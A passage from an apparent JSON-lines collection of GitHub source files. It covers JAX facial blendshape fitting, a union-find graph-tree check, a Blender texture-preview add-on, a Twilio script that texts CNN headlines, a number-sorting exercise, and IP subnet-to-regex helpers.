#hcb.id_print(prior)\n    #hcb.id_print(w.at[0])\n\n    e_sparse =  jnp.array(jnp.linalg.norm(w, ord = 1)).reshape(-1,) # a154blancoiribera\n    #e_sparse = jnp.array(jnp.linalg.norm(w, ord = 2)**2).reshape(-1,)\n    #e_sparse = reg*reg\n\n    #e_temp = jnp.array(jnp.linalg.norm(former_w-w, ord = 2)**2).reshape(-1,)\n\n    #hcb.id_print(e_sparse)\n    #residuals_arr = jnp.append(jnp.concatenate([e_fit.ravel(), prior.ravel()]), e_sparse)\n\n    residuals_arr = jnp.concatenate((b_fit*e_fit.ravel(), b_prior*e_prior, b_sparse*e_sparse))#,0.7*e_reg])\n\n    return residuals_arr\n\n\n@jax.jit\ndef energy(w, non_fit_params, cmat, former_w, neutral, bs_arr, b_fit, b_prior, b_sparse):\n    measured_points, rmat, tvec = unpack(non_fit_params)       \n\n    sparse_weighted = neutral+(bs_arr.T@w.reshape(-1)).T\n    e_fit = jnp.linalg.norm(project_points(sparse_weighted, rmat, tvec, cmat) - measured_points, ord=2)**2\n\n    #a=1.002\n    #b=2e-5\n    #c=2.47\n    #e_prior = jnp.linalg.norm( (jnp.pi/4)*( jnp.arctan((w-a)/b)-jnp.arctan((w-a-1)/b) )+c, ord=2)**2\n\n    e_sparse = jnp.linalg.norm(w, ord = 1)\n    e_prior = jnp.linalg.norm(former_w-w, ord = 2)**2\n    #nans = jnp.any(jnp.isnan(residuals))\n    #if(nans):\n    #jax.debug.print(residuals)\n    return b_fit*e_fit+b_sparse*e_sparse+b_prior*e_prior\n\n\n@partial(jax.jit, static_argnames=['n_full'])\ndef map_to_original(w, n_full, idxs):\n    n_fitted = w.size\n    w_out = jnp.zeros(n_full, dtype=jnp.float64)\n    w_out = w_out.at[idxs].set(w)\n    #for i in range(n_fitted):\n    #    w_out = w_out.at[idxs[i]].set(w[i])\n    return w_out\n\n\nclass ExpressionFitting:\n    def __init__(self, camera_matrix, bs_mapper=None, \n                 bs_to_ignore = ['cheekPuff_L', 'cheekPuff_R', 'eyeLookDown_L', 'eyeLookDown_R', \n                                 'eyeLookIn_L', 'eyeLookIn_R', 'eyeLookOut_L', 'eyeLookOut_R', \n                                 'eyeLookUp_L', 'eyeLookUp_R']) -> None:\n                 #bs_to_ignore = ['cheekPuff_L', 'cheekPuff_R']) -> None:\n        self.cam_mat = jax.device_put(jnp.array(camera_matrix, dtype=jnp.float64))\n        \n        self.bs_mapper = bs_mapper\n\n        ICT_Model = ICTFaceModel68.from_pkl(\"./common/ICTFaceModel.pkl\", load_blendshapes=True)\n\n        self.right_contour_idx = list(range(0,8))\n        self.chin_idx = 8\n        self.left_contour_idx = list(range(9,17))\n\n        self.n_bs = ICT_Model.n_blendshapes\n        self.neutral_sparse_verts = jax.device_put(jnp.array(ICT_Model.neutral_vertices, dtype=jnp.float64))\n        self.bs_names = list(ICT_Model.bs_names)\n        \n        self.name_to_idx = {name: idx for idx, name in enumerate(self.bs_names)}\n\n        sparse_bs_arr_full = jax.device_put(jnp.array(ICT_Model.get_blendshape_arr(), dtype=jnp.float64))\n\n        fitted_bs_idxs_list = []\n        for i, name in enumerate(self.bs_names):\n            if name not in bs_to_ignore:\n                fitted_bs_idxs_list.append(i)\n\n        self.fitted_bs_idxs = jnp.array(fitted_bs_idxs_list)\n        self.n_fitted_bs = self.fitted_bs_idxs.size\n        self.sparse_bs_arr = sparse_bs_arr_full[self.fitted_bs_idxs,:,:]\n        #removed_idxs = []\n        #for bs_remove in bs_to_ignore:\n        #    bs_idx = self.bs_names.index(bs_remove)\n        #    self.bs_names.remove(bs_remove)\n        #    del self.name_to_idx[bs_remove]\n        #    self.sparse_bs_arr = np.delete(self.sparse_bs_arr, bs_idx, 0)\n        #    removed_idxs.append(bs_idx)\n        #    self.n_bs -= 1\n\n        #self.removed_idxs = np.sort(np.array(removed_idxs))\n\n        #idxs_to_insert = []\n        #for i, idx in enumerate(self.removed_idxs):\n        #    idxs_to_insert.append(idx-i)\n\n        #self.idxs_to_insert = np.array(idxs_to_insert)\n\n        self._jaxopt_lm = LevenbergMarquardt(residuals, damping_parameter=1e-03, stop_criterion='grad-l2-norm', \n                                     tol=0.0001, xtol=0.0001, gtol=0.0001, solver='cholesky', \n                                     #geodesic=True, verbose=False, \n                                     jit=True)#, maxiter=500)#, implicit_diff=True, unroll='auto')\n        self.lm = jax.jit(self._jaxopt_lm.run)\n\n        self.scipy_lm = ScipyLeastSquares(fun=residuals, loss='linear',\n                                          options={\"ftol\": 0.001, \"xtol\": 0.001, \"gtol\": 0.001, \"max_nfev\":100}, \n                                          method='lm', dtype=jnp.float64, jit=True).run\n\n        self.scipy_bounded_lbfgs = ScipyBoundedMinimize(method='L-BFGS-B', dtype=jnp.float64, \n                                                        jit=True, fun=energy, tol=0.0001, maxiter=500).run\n        self.former_w = jnp.zeros(self.n_fitted_bs)\n        self.lower_bounds = jnp.zeros(self.n_fitted_bs)\n        self.upper_bounds = jnp.ones(self.n_fitted_bs)\n\n        non_fitting_params = jnp.array(self.pack_params(np.ones((68,2), dtype=np.float64), cv2.Rodrigues(np.array([0,0,0], dtype=np.float64))[0], np.ones(3,dtype=np.float64)), dtype=jnp.float64)\n        self.lm(jnp.ones(self.n_fitted_bs, dtype=jnp.float64)*0.0001, non_fitting_params, self.cam_mat, self.former_w, self.neutral_sparse_verts, self.sparse_bs_arr, 1., 1., 1.)\n\n\n    def fit(self, measured_points, rvec, tvec, b_fit, b_prior, b_sparse, method: str, debug = False):\n        assert method in ['jaxopt_lm', 'scipy_lm', 'l-bfgs-b']\n        \n        rmat = cv2.Rodrigues(rvec)[0]\n        #\n        w_in = jnp.ones(self.n_fitted_bs, dtype=jnp.float64)*0.0001\n        \n        non_fitting_params = jnp.array(self.pack_params(measured_points, rmat, tvec), dtype=jnp.float64)\n        #st = time.perf_counter()\n        if method == 'jaxopt_lm':\n            out = self.lm(w_in, non_fitting_params, self.cam_mat, self.former_w, self.neutral_sparse_verts, self.sparse_bs_arr, b_fit, b_prior, b_sparse)\n        elif method == 'scipy_lm':\n            out = self.scipy_lm(w_in, non_fitting_params, self.cam_mat, self.former_w, self.neutral_sparse_verts, self.sparse_bs_arr, b_fit, b_prior, b_sparse)\n        elif method == 'l-bfgs-b':\n            bounds = (self.lower_bounds, self.upper_bounds)\n            out = self.scipy_bounded_lbfgs(w_in, bounds, non_fitting_params, self.cam_mat, self.former_w, self.neutral_sparse_verts, self.sparse_bs_arr, b_fit, b_prior, b_sparse)\n        #print(\"=========\",time.perf_counter() - st)\n        #w_out = jax.device_get(out.params)\n        w_out = jnp.clip(out.params, 0, 1)\n        #w_out = out.params\n        \n\n        has_nan = jnp.any(jnp.isnan(w_out))\n        if has_nan:\n            w_out = w_in\n            print(\"Fitting failed\")\n        else:\n            self.former_w = w_out.copy()\n\n        #n_bs_removed = self.idxs_to_insert.size\n        #if n_bs_removed > 0:\n        #    w_out = jnp.insert(w_out, self.idxs_to_insert, 0.)\n        if self.n_fitted_bs < self.n_bs:\n            #w_full = jnp.zeros(self.n_bs, dtype=jnp.float32)\n            #w_full.at[self.fitted_bs_idxs].set(w_out)\n            #print(self.fitted_bs_idxs)\n            #w_out = w_full\n            w_out = map_to_original(w_out, self.n_bs, self.fitted_bs_idxs)\n\n        if debug:\n            return self.post_process(w_in, w_out), jax.device_get(w_out)\n        else:\n            return self.post_process(w_in, w_out)\n\n        \n    def post_process(self, w_in, w_out):\n\n        if self.bs_mapper is not None:\n            return jdlp.to_dlpack(self.bs_mapper(w_out), take_ownership=True)\n        else:\n            return jdlp.to_dlpack(w_out.copy(), take_ownership=True)\n\n\n    def pack_params(self, measured_points, rmat, tvec):\n        fitting = np.zeros((68+3+1, 3), dtype=np.float64)\n        \n        fitting[0:68, 0:2]  = measured_points[:,:]\n        fitting[68:68+3, :] = rmat[:,:]\n        fitting[68+3]       = tvec.reshape(-1)[:]\n        \n        return fitting","repo_name":"Gibua/Flux","sub_path":"common/fitting.py","file_name":"fitting.py","file_ext":"py","file_size_in_byte":10164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32402710494","text":"from typing import List\nfrom collections import defaultdict, deque\n\nclass Set:\n\tdef __init__(self, x):\n\t\tself.val = x\n\t\tself.rank = 1\n\t\tself.parent = self\n\n\tdef __repr__(self):\n\t\treturn f'SET[repr:{self.val}, rank:{self.rank}]'\n\nclass UnionFind:\n\tdef __init__(self, lst):\n\t\tself.map = {n: Set(n) for n in lst}\n\n\tdef __repr__(self):\n\t\tstr = ''\n\t\tsets = defaultdict(list)\n\t\tfor elem, value in self.map.items():\n\t\t\tsets[self.findSet(value).val].append(elem)\n\t\tfor s in sets:\n\t\t\tstr += f'{self.find(s)} : {sets[s]}\\n'\n\n\t\treturn str\n\n\tdef union_by_rank(self, x: Set, y: Set):\n\t\tif x.rank == y.rank:\n\t\t\tx.parent = y\n\t\t\ty.rank += 1\n\t\telif x.rank < y.rank:\n\t\t\tx.parent = y\n\t\telse:\n\t\t\ty.parent = x\n\n\t# path compression\n\tdef findSet(self, x: Set):\n\t\tif x.parent != x:\n\t\t\tx.parent = self.findSet(x.parent)\n\t\treturn x.parent \n\n\t## user facing \n\tdef find(self, x):\n\t\treturn self.findSet(self.map[x])\n\n\tdef link(self, x, y):\n\t\tself.union_by_rank(self.find(x), self.find(y))\n\nclass Solution:\n\tdef validTree(self, n, edges):\n\t\tif len(edges) != n-1:\n\t\t\treturn False\n\n\t\tif n == 1:\n\t\t\treturn True\n\n\t\tadjlist = defaultdict(set)\n\t\tfor v1, v2 in edges:\n\t\t\tadjlist[v1].add(v2)\n\t\t\tadjlist[v2].add(v1)\n\n\t\tdef hasCycleBFS(s):\n\t\t\tq = deque([s])\n\t\t\tdiscovered = {s}\n\t\t\twhile q:\n\t\t\t\ttop = q.pop()\n\t\t\t\tfor nbr in adjlist[top]:\n\t\t\t\t\tif nbr not in discovered:\n\t\t\t\t\t\tadjlist[nbr].remove(top)\n\t\t\t\t\t\tdiscovered.add(nbr)\n\t\t\t\t\t\tq.appendleft(nbr)\n\t\t\t\t\telse:\n\t\t\t\t\t\treturn False\n\t\t\treturn True\n\n\t\treturn hasCycleBFS(edges[0][0])\n\n\n\tdef validTreeUnionFind(self, n: int, edges: List[List[int]]) -> bool:\n\t\tforest = UnionFind(range(n))\n\t\tprint(forest)\n\t\tif len(edges) != n-1:\n\t\t\treturn False\n\n\t\tfor v1, v2  in edges:\n\t\t\tif forest.find(v1) == forest.find(v2):\n\t\t\t\tprint(forest)\n\t\t\t\treturn False\n\t\t\tforest.link(v1, v2)\n\t\tprint(forest)\n\n\t\treturn True\n\n\n\n\n\n# print(Solution().validTree(5, [[0,1], [0,2], [0,3], [1,4]]))\nprint(Solution().validTree(5, [[0,1], [1,2], [2,3], [1,3]]))\n\n","repo_name":"aditya-283/leetcode","sub_path":"problems/Medium/graph-valid-tree/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31580060106","text":"import bpy\nimport bmesh\nimport operator\nimport math\nfrom mathutils import Vector\nfrom collections import defaultdict\n\nfrom . import settings\nfrom . import utilities_color\nfrom . import utilities_bake\n\nmaterial_prefix = \"TT_atlas_\"\ngamma = 2.2\n\nclass op(bpy.types.Operator):\n\tbl_idname = \"uv.textools_texture_preview\"\n\tbl_label = \"Preview Texture\"\n\tbl_description = \"Preview the current UV image view background image on the selected object.\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\t\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\tif not bpy.context.active_object:\n\t\t\treturn False\n\n\t\tif len(settings.sets) == 0:\n\t\t\treturn False\n\t\t\n\t\t# Only when we have a background image\n\t\tfor area in bpy.context.screen.areas:\n\t\t\tif area.type == 'IMAGE_EDITOR':\n\t\t\t\treturn area.spaces[0].image\n\n\t\treturn False\n\t\n\tdef execute(self, context):\n\t\tprint(\"PREVIEW TEXTURE????\")\n\t\tpreview_texture(self, context)\n\t\treturn {'FINISHED'}\n\n\n\ndef preview_texture(self, context):\n\n\t# Collect all low objects from bake sets\n\tobjects = [obj for s in settings.sets for obj in s.objects_low if obj.data.uv_layers]\n\n\t# Get view 3D area\n\tview_area = None\n\tfor area in bpy.context.screen.areas:\n\t\tif area.type == 'VIEW_3D':\n\t\t\tview_area = area\n\n\t# Exit existing local view\n\t# if view_area and view_area.spaces[0].local_view:\n\t# \tbpy.ops.view3d.localview({'area': view_area})\n\t# \treturn\n\n\n\t# Get background image\n\timage = None\n\tfor area in bpy.context.screen.areas:\n\t\tif area.type == 'IMAGE_EDITOR':\n\t\t\timage = area.spaces[0].image\n\t\t\tbreak\n\n\tif image:\n\t\tfor obj in objects:\n\t\t\tprint(\"Map {}\".format(obj.name))\n\n\t\t\tbpy.ops.object.mode_set(mode='OBJECT')\n\t\t\tbpy.ops.object.select_all(action='DESELECT')\n\t\t\tobj.select = True\n\t\t\tbpy.context.scene.objects.active = obj\n\n\t\t\tfor i in range(len(obj.material_slots)):\n\t\t\t\tbpy.ops.object.material_slot_remove()\n\n\t\t\t#Create material with image\n\t\t\tbpy.ops.object.material_slot_add()\n\t\t\tobj.material_slots[0].material = utilities_bake.get_image_material(image)\n\t\t\tobj.draw_type = 'TEXTURED'\n\n\t\t# Re-Select objects\n\t\tbpy.ops.object.select_all(action='DESELECT')\n\t\tfor obj in objects:\n\t\t\tobj.select = True\n\n\t\tif view_area:\t\n\t\t\t#Change View mode to TEXTURED\n\t\t\tfor space in view_area.spaces:\n\t\t\t\tif space.type == 'VIEW_3D':\n\t\t\t\t\tspace.viewport_shade = 'MATERIAL'\n\n\t\t\t# Enter local view\n\t\t\t# bpy.ops.view3d.localview({'area': view_area})\n\t\t\t# bpy.ops.ui.textools_popup('INVOKE_DEFAULT', message=\"Object is in isolated view\")","repo_name":"Calinou/textools-blender","sub_path":"addons/textools/op_texture_preview.py","file_name":"op_texture_preview.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"}
{"seq_id":"7670393197","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom twilio.rest import Client\r\nimport time\r\n\r\n# Your Twilio account SID and AUTH Token\r\naccount_sid = \"enter account_sid\"\r\nauth_token = \"enter auth_token\"\r\nclient = Client(account_sid, auth_token)\r\n\r\nwhile True:\r\n    # Get the current time\r\n    current_time = time.localtime()\r\n\r\n    # Only send the message if it's 6:00 AM\r\n    if current_time.tm_hour == 6 and current_time.tm_min == 00:\r\n        # Send the SMS message\r\n        try:\r\n            # Scrape the latest world news headlines from CNN's website\r\n            page = requests.get(\"https://www.cnn.com/business\")\r\n            soup = BeautifulSoup(page.content, \"html.parser\")\r\n            headlines = soup.find_all(\"div\", class_=\"container__headline container_lead-plus-headlines__headline\")\r\n            headlines = [headline.text.strip() for headline in headlines]\r\n            print(headlines)\r\n\r\n            # Format the message\r\n            message_body = \"Latest World News Headlines from CNN:\\n\\n\" + \"\\n\\n\".join(headlines[:14]) + \"...\"\r\n\r\n            # Send the message\r\n            message1 = client.messages.create(\r\n                to=\"enter your number\",\r\n                from_=\"enter twilio number\",\r\n                body=message_body\r\n            )\r\n\r\n            print(\"SMS sent successfully!\")\r\n        except:\r\n            print(\"An error occurred while sending the SMS.\")\r\n\r\n    # Wait for 1 minute before checking the time again\r\n    time.sleep(60)\r\n","repo_name":"haadisaqib/CNN-Business-Twilio-SMS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27024870566","text":"# UERJ - 22/09/2020\n# Aula 2 de Algoritmos Computacionais\n\n\"\"\"\nExercício 4\n\nLer três números inteiros e imprimi-los em ordem crescente.\n\"\"\"\n\n\ndef orderAsc(a, b, c):\n    if a > b:\n        if b > c:\n            return [c, b, a]\n        else:\n            if a > c:\n                return [b, c, a]\n            else:\n                return [b, a, c]\n    else:\n        if b > c:\n            if a > c:\n                return [c, a, b]\n            else:\n                return [a, c, b]\n        else:\n            return [a, b, c]\n\n\ndef main():\n    while True:\n        while True:\n            try:\n                a = int(input(\"\\nDigite um número: \"))\n                b = int(input(\"Digite um segundo número: \"))\n                c = int(input(\"Digite um terceiro número: \"))\n                break\n            except:\n                print(\"\\nPor favor, digite números válidos.\")\n\n        print(\"\\nOs números a seguir estão ordenados de forma crescente:\",\n              orderAsc(a, b, c))\n\n        shouldContinue = str(\n            input(\"\\nDigite S para sair do programa ou aperte ENTER para continuar: \"))\n        if shouldContinue.upper() == \"S\":\n            return\n\n\nmain()\n","repo_name":"pitroldev/uerj-algoritmos-computacionais","sub_path":"Aulas/Aula 2/Exercicio_4.py","file_name":"Exercicio_4.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"19138081091","text":"import re\n\ndef hex_range(first: int, last: int):\n    '''\n        Given the first and last hexadecimal values of a range returns a list of ReGex patterns to match each value of that range.\n        -----\n        Parameters\n        ---\n        first: hexadecimal int\n            First value of the range.\n        last: hexadecimal int\n            Last value of the range.\n        -----\n        Returns\n        ---\n        ranges: list\n            List of RegEx patterns that can be used to match every value in the given range.\n    '''\n    ranges = []\n    if first[0] == last[0]:\n        if first[1]==last[1]:\n            if first[2]==last[2]:\n                #Section if the first threee values match\n                if first[3].isdigit() and last[3].isalpha():\n                    first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-9a-{last[3]}]'+'{0,1}'\n                else:\n                    first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-{last[3]}]'+'{0,1}'\n                ranges.append(first_range)\n            else:\n                #Section if the first two values match\n                if first[3].isdigit():\n                    first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-9a-f]' + '{0,1}'\n                elif first[3].isalpha():\n                    first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-f]' + '{0,1}'\n                ranges.append(first_range)\n                if first[2].isdigit():\n                    second_range = f'{first[:2].lstrip(\"0\")}[{first[2]}-9a-f]' + '{0,1}[0-9a-f]{0,1}'\n                elif first[2].isalpha():\n                    second_range = f'{first[:2].lstrip(\"0\")}[{first[2]}-f]' + '{0,1}[0-9a-f]{0,1}'\n                ranges.append(second_range)\n                first_plus = int(first[2],16)+1\n                first_plus = f'{first_plus:01x}'\n                last_minus = int(last[2],16)-1\n                last_minus = f'{last_minus:01x}'\n                if first_plus.isdigit() and last_minus.isalpha():\n                    fourth_range = f'{first[:2].lstrip(\"0\")}[{first_plus}-9a-{last_minus}]'+'{1}[0-9a-f]{0,1}'\n                else:\n                    fourth_range = f'{first[:2].lstrip(\"0\")}[{first_plus}-{last_minus}]'+'{1}[0-9a-f]{0,1}'\n                ranges.append(fourth_range)\n                if last[3].isdigit():\n                    fifth_range = f'{last[:3].lstrip(\"0\")}[0-{last[3]}]' + '{0,1}'\n                elif last[3].isalpha():\n                    fifth_range = f'{last[:3].lstrip(\"0\")}[0-9a-{last[3]}]' + '{0,1}'\n                ranges.append(fifth_range)\n        else:\n            #section if the first values match\n            if first[3].isdigit():\n                first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-9a-f]' + '{0,1}'\n            elif first[3].isalpha():\n                first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-f]' + '{0,1}'\n            ranges.append(first_range)\n            if first[2].isdigit():\n                second_range = f'{first[:2].lstrip(\"0\")}[{first[2]}-9a-f]' + '{1}[0-9a-f]{0,1}'\n            elif first[2].isalpha():\n                second_range = f'{first[:2].lstrip(\"0\")}[{first[2]}-f]' + '{1}[0-9a-f]{0,1}'\n            ranges.append(second_range)\n            first_plus = int(first[1],16)+1\n            first_plus = f'{first_plus:01x}'\n            last_minus = int(last[1],16)-1\n            last_minus = f'{last_minus:01x}'\n            if first_plus.isdigit() and last_minus.isalpha():\n                fourth_range = f'{first[:1].lstrip(\"0\")}[{first_plus}-9a-{last_minus}]'+'{1}[0-9a-f]{0,2}'\n            else:\n                fourth_range = f'{first[:1].lstrip(\"0\")}[{first_plus}-{last_minus}]'+'{1}[0-9a-f]{0,2}'\n            ranges.append(fourth_range)\n            if last[3].isdigit():\n                fifth_range = f'{last[:3].lstrip(\"0\")}[0-{last[3]}]' + '{0,1}'\n            elif last[3].isalpha():\n                fifth_range = f'{last[:3].lstrip(\"0\")}[0-9a-{last[3]}]' + '{0,1}'\n            ranges.append(fifth_range)\n            if last[2].isdigit():\n                sixth_minus = str(int(last[2])-1)\n                sixth_range = f'{last[:2].lstrip(\"0\")}[0-{sixth_minus}]' + '{0,1}[0-9a-f]{0,1}'\n            elif last[2].isalpha():\n                sixth_minus = int(last[2],16)-1\n                sixth_minus = f'{sixth_minus:01x}'\n                sixth_range = f'{last[:2].lstrip(\"0\")}[0-9a-{sixth_minus}]' + '{0,1}[0-9a-f]{0,1}'\n            ranges.append(sixth_range)\n    else:\n        #Section if all four values are different\n        if first[3].isdigit():\n            first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-9a-f]' + '{0,1}'\n        elif first[3].isalpha():\n            first_range = f'{first[:3].lstrip(\"0\")}[{first[3]}-f]' + '{0,1}'\n        ranges.append(first_range)\n        if first[2].isdigit():\n            second_range = f'{first[:2].lstrip(\"0\")}[{first[2]}-9a-f]' + '{0,1}[0-9a-f]{0,1}'\n        elif first[2].isalpha():\n            second_range = f'{first[:2].lstrip(\"0\")}[{first[2]}-f]' + '{1}[0-9a-f]{0,1}'\n        ranges.append(second_range)\n        if first[1].isdigit():\n            third_range = f'{first[:1].lstrip(\"0\")}[{first[1]}-9a-f]' + '{1}[0-9a-f]{0,2}'\n        elif first[1].isalpha():\n            third_range = f'{first[:1].lstrip(\"0\")}[{first[1]}-f]' + '{1}[0-9a-f]{0,2}'\n        ranges.append(third_range)\n        first_plus = int(first[0],16)+1\n        first_plus = f'{first_plus:01x}'\n        last_minus = int(last[0],16)-1\n        last_minus = f'{last_minus:01x}'\n        if first_plus.isdigit() and last_minus.isalpha():\n            fourth_range = f'[{first_plus}-9a-{last_minus}]'+'{0,1}[0-9a-f]{0,3}'\n        else:\n            fourth_range = f'[{first_plus}-{last_minus}]'+'{0,1}[0-9a-f]{0,3}'\n        ranges.append(fourth_range)\n        if last[3].isdigit():\n            fifth_range = f'{last[:3].lstrip(\"0\")}[0-{last[3]}]' + '{0,1}'\n        elif last[3].isalpha():\n            fifth_range = f'{last[:3].lstrip(\"0\")}[0-9a-{last[3]}]' + '{0,1}'\n        ranges.append(fifth_range)\n        if last[2].isdigit():\n            sixth_minus = str(int(last[2])-1)\n            sixth_range = f'{last[:2].lstrip(\"0\")}[0-{sixth_minus}]' + '{0,1}[0-9a-f]{0,1}'\n        elif last[2].isalpha():\n            sixth_minus = int(last[2],16)-1\n            sixth_minus = f'{sixth_minus:01x}'\n            sixth_range = f'{last[:2].lstrip(\"0\")}[0-9a-{sixth_minus}]' + '{1}[0-9a-f]{0,1}'\n        ranges.append(sixth_range)\n        if last[1].isdigit():\n            seventh_minus = str(int(last[1])-1)\n            seventh_range = f'{last[:1].lstrip(\"0\")}[0-{seventh_minus}]' + '{1}[0-9a-f]{0,2}'\n        elif last[1].isalpha():\n            seventh_minus = int(last[1],16)-1\n            seventh_minus = f'{seventh_minus:01x}'\n            seventh_range = f'{last[:1].lstrip(\"0\")}[0-9a-{seventh_minus}]' + '{1}[0-9a-f]{0,2}'\n        ranges.append(seventh_range)\n    return ranges\n\ndef toRegexv6(subnet: str, or_logic: str = '|'):\n    '''\n        Returns a RegEx pattern to match the given IPv6 subnet.\n        -----\n        Parameters\n        ---\n        subnet: Subnet class object\n            Subnet to get RegEx pattern of.\n        or_logic: str\n            Symbol to be used as OR, default it |.\n        -----\n        Returns\n        ---\n        regex: str\n            RegEx pattern to match every IP address in the given IPv6subnet.\n    '''\n    subnet_split = subnet.split('/')\n    ipv6, mask = subnet_split[0], int(subnet_split[1])\n    ipv6 = ipv6_expand(ipv6)\n    ipv6_split = ipv6.split(':')\n    bin_ipv6 = ''\n    for item in ipv6_split:\n        item = int(item, 16)\n        item = f'{item:016b}'\n        bin_ipv6 += item\n    #Find which hexadecatet, and at which bit of the hexadecatet, is being divided by the mask\n    hexadecatet, bit = divmod(mask, 16)\n    #Build the RegEx pattern\n    regex = ''\n    base_pattern = ''\n    for i in range(0,hexadecatet):\n        if ipv6_split[i] == '0000':\n            base_pattern += '[0]{0,1}' + ':'\n        else:\n            hexadecatet_stripped = ipv6_split[i].lstrip('0')\n            base_pattern += hexadecatet_stripped + ':'\n    #If bit=0 then no hexadecatet is divided and we can build the RegEx pattern\n    if bit == 0:\n        base_pattern += '.*'\n        regex = base_pattern\n    else:\n        #Get the first and last values of the hexadecatet that is divided\n        divided = ipv6_split[hexadecatet+1]\n        divided = int(divided, 16)\n        divided = f'{divided:016b}'\n        unchanged = divided[:bit]\n        changed = divided[bit-16:]\n        first = unchanged\n        last = unchanged\n        for i in range(0, len(changed)):\n            first += '0'\n            last += '1'\n        first = int(first, 2)\n        first = f'{first:04x}'\n        last = int(last, 2)\n        last = f'{last:04x}'\n        #Get the RegEx ranges for the divided octet\n        ranges = hex_range(first, last)\n        full_ranges = [base_pattern + range + ':.*' for range in ranges]\n        regex = f'{or_logic}'.join(full_ranges)\n    return regex\n\ndef toRegexv4(subnet: str, or_logic: str = '|'):\n    '''\n        Returns a RegEx pattern to match the given IPv4 subnet.  Written by Zephyr Zink.\n        -----\n        Parameters\n        ---\n        subnet: Subnet class object\n            Subnet to get RegEx pattern of.\n        or_logic: str\n            Symbol to be used as OR, default it |.\n        -----\n        Returns\n        ---\n        regex: str\n            RegEx pattern to match every IP address in the given IPv4 subnet.\n    '''\n    subnet_split=subnet.split('.')\n    mask=int(subnet_split[3].split('/')[1])\n    first_octet=int(subnet_split[0])\n    second_octet=int(subnet_split[1])\n    third_octet=int(subnet_split[2])\n    fourth_octet=int(subnet_split[3].split('/')[0])\n\n    start=0\n    final=0\n\n    expressions_list=[]\n    if mask == 8:\n        expressions_list.append(str(first_octet)+'.*')\n\n    if mask == 16:\n        expressions_list.append(str(first_octet)+'.'+str(second_octet)+'.*')\n\n    if mask == 24:\n        expressions_list.append(str(first_octet)+'.'+str(second_octet)+'.'+str(third_octet)+'.*')\n\n    if mask in (9,10,11,12,13,14,15):\n        begin_ex=str(first_octet)+'.'\n        end_ex='.[0-9]{1,3}.[0-9]{1,3}'\n        start=second_octet\n\n    if mask in (17,18,19,20,21,22,23):\n        begin_ex=str(first_octet)+'.'+str(second_octet)+'.'\n        end_ex='.[0-9]{1,3}'\n        start=third_octet\n\n    if mask in (25,26,27,28,29,30,31,32):\n        begin_ex=str(first_octet)+'.'+str(second_octet)+'.'+str(third_octet)+'.'\n        start=fourth_octet\n\n    if mask in (9,17,25):\n        final=start+127\n    elif mask in (10,18,26):\n        final=start+63\n    elif mask in (11,19,27):\n        final=start+31\n    elif mask in (12,20,28):\n        final=start+15\n    elif mask in (13,21,29):\n        final=start+7\n    elif mask in (14,22,30):\n        final=start+3\n    elif mask in (15,23,31):\n        final=start+1\n    elif mask in (16,24,32):\n        final=start\n\n    one_p=[]\n    ten_p=[]\n    hund_p=[]\n    twohun_p=[]\n    list_of_searches=[]\n\n    for i in range(start,final+1):\n        if i < 10:\n            one_p.append(i)\n        elif i >= 10 and i <100:\n            ten_p.append(i)\n        elif i >=100 and i < 200:\n            hund_p.append(i)\n        elif i>=200:\n            twohun_p.append(i)\n\n    if len(one_p)>0:\n        list_of_searches.append('['+str(one_p[0])+'-'+str(one_p[len(one_p)-1])+']')\n\n    if len(ten_p)>0:\n        if int(ten_p[len(ten_p)-1]/10)-int(ten_p[0]/10)==0:\n            list_of_searches.append('['+str(int(ten_p[0]/10))+']['+str(ten_p[0]%10)+'-'+str(ten_p[len(ten_p)-1]%10)+']')\n        elif int(ten_p[len(ten_p)-1]/10)-int(ten_p[0]/10)==1:\n            list_of_searches.append('['+str(int(ten_p[0]/10))+']['+str(ten_p[0]%10)+'-9]')\n            list_of_searches.append('['+str(int(ten_p[len(ten_p)-1]/10))+'][0-'+str(ten_p[len(ten_p)-1]%10)+']')\n        elif int(ten_p[len(ten_p)-1]/10)-int(ten_p[0]/10)==2:\n            list_of_searches.append('['+str(int(ten_p[0]/10))+']['+str(ten_p[0]%10)+'-9]')\n            list_of_searches.append('['+str(int(ten_p[0]/10)+1)+'][0-9]')\n            list_of_searches.append('['+str(int(ten_p[len(ten_p)-1]/10))+'][0-'+str(ten_p[len(ten_p)-1]%10)+']')\n        elif int(ten_p[len(ten_p)-1]/10)-int(ten_p[0]/10)>=3:\n            list_of_searches.append('['+str(int(ten_p[0]/10))+']['+str(ten_p[0]%10)+'-9]')\n            list_of_searches.append('['+str(int(ten_p[0]/10)+1)+'-'+str(int(ten_p[len(ten_p)-1]/10)-1)+'][0-9]')\n            list_of_searches.append('['+str(int(ten_p[len(ten_p)-1]/10))+'][0-'+str(ten_p[len(ten_p)-1]%10)+']')\n\n    if len(hund_p)>0:\n        for i in range(0,len(hund_p)):\n            hund_p[i]=hund_p[i]-100\n        if int(hund_p[len(hund_p)-1]/10)-int(hund_p[0]/10)==0:\n            list_of_searches.append('[1]['+str(int(hund_p[0]/10))+']['+str(hund_p[0]%10)+'-'+str(hund_p[len(hund_p)-1]%10)+']')\n        elif int(hund_p[len(hund_p)-1]/10)-int(hund_p[0]/10)==1:\n            list_of_searches.append('[1]['+str(int(hund_p[0]/10))+']['+str(hund_p[0]%10)+'-9]')\n            